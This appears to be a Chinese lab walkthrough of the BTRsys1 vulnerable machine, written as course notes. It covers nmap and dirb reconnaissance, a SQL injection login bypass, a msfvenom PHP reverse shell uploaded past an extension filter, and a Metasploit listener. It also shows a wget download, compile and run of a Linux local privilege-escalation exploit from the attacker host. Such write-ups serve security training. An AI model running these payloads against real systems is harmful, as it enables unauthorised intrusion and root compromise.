【网络安全0x10】综合测试(低难度)--- BTRsys1

51CTO的网课,本篇利用nmap搜索开放端口,nikto、dirb挖掘web服务找到后台地址,审计源码跳过mysql检测登录,使用burpsuite抓包绕过检测上传反弹shell,执行反弹shell获得低权用户shell,提权有两种方式,一种是查看网站配置文件找到mysql数据库,里面存着密码,可以root,另外一种是searchsploit系统版本,执行本地提权脚本返回root权限,本文两种方式均有展示。

本篇使用工具nmap,dirb,nikto,burpsuite,metasploit。

使用命令

metasploit

1
2
3
4
5
6
7
8
9
10
#生成shell
msfvenom -p php/meterpreter/reverse_tcp lhost=攻击机IP lport=攻击机端口 -f raw > shell.php

#开启监听
msfconsole
>use exploit/multi/handler
>set payload php/meterpreter/reverse_tcp
>set lhost 攻击机IP
>set lport 攻击机端口
>run

渗透记录

  1. nmap扫描靶机IP地址开放端口,一个80口的web服务,dirb挖掘80端口web信息,找到后台登录界面:
1
2
3
4
nmap -sV 192.168.1.107
nmap -T4 -A -v 192.168.1.107
dirb http://192.168.1.121
nikto -host 192.168.1.107

  1. 弱口令只能登上去一个类似后台的界面,直接访问该地址能得到mysql错误的提示,这里忘截图了。审计登录界面源码,发现要求用户名得以@btrisk.com结尾,密码不等于'才会发表单给数据库,否则直接提示错误:

  1. 上mysql万能密码' OR '1' = '1,绕过检测,成功登录后台:

  1. 后台是一个文件上传目录,审计源码,发现只能传jpg/gif/png格式的图片文件:

  1. msfvenom生成一个php反弹shell,后缀名定义为jpg,使用burpsuite抓包修改后缀名为php:
1
msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.1.106 lport=4444 -f raw > shell.jpg

  1. metasploit开启监听,在前面dirb挖掘到的/uploads目录下执行反弹shell,获得低权shell:
1
2
3
4
5
6
msfconsole
>use exploit/multi/handler
>set payload php/meterpreter/reverse_tcp
>set lhost 192.168.1.106
>set lport 4444
>run

  1. 查看根目录下文件,找到一个配置文件,里面有mysql数据库用户与口令:

  1. 使用前面的地址、用户名、口令、表名连接mysql数据库:
1
2
mysql -h localhost -u root -D deneme -p
Enter password: toor

  1. 查看表user里的信息,得到一个密码:
1
2
show tables;
select * from user;

  1. 合理猜测(又是猜)这个密码是root密码(滑稽),成功获得root权限:

  1. 不猜的话也能做,查看系统版本,搜索可利用提权漏洞:
1
2
3
4
lsb_release -a
uname -a

searchsploit Linux 3.13.0

  1. 把这个提权漏洞复制到本地apache根目录下,开启apache2服务:
1
2
cp /usr/share/exploitdb/exploits/linux/local/37292.c /var/www/html/shell.c
service apache2 start

  1. 靶机wget下载文件到/tmp下,gcc编译执行,获得root权限:
1
2
3
4
wget -O /tmp/shell.c http://192.168.1.106/shell.c
cd /tmp
gcc shell.c -o shell
./shell

参考资料

  1. 2020发布 CTF基础入门/CTF教程零基础 渗透测试/web安全/CTF夺旗【整套教程】
  2. 渗透测试之BTRsys v1靶机 | jlzj’s blog